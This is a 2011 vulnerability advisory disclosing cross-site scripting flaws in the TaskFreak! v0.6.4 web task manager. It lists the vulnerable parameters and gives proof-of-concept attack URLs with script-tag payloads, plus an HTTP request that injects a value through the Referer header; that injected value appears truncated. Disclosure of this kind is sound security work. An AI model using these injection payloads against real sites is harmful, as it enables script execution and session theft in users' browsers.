################################################################ TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities Vendor: Stan Ozier Product web page: http://www.taskfreak.com Affected version: 0.6.4 (multi-user) Summary: TaskFreak! Original is a simple but efficient web based task manager written in PHP. Desc: TaskFreak! suffers from multiple XSS vulnerabilities when parsing input to multiple parameters in different scripts. The vulnerable POST parameters are: 'sContext', 'sort', 'dir' and 'show' thru index.php. Also the GET parameters 'dir' and 'show' thru 'print_list.php' are vulnerable. Header variable 'referer' is vulnerable thru rss.php script. Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user's browser session. Tested on: MS Windows XP Pro SP3-EN, XAMPP (latest) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic Advisory ID: ZSL-2011-4990 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4990.php 27.01.2011 ################################################################

Exploit!

--- http://taskfreak/print_list.php?dir=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E http://taskfreak/print_list.php?show=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E --- GET /taskfreak/rss.php HTTP/1.1 Referer: ">Waddup! User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: localhost Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*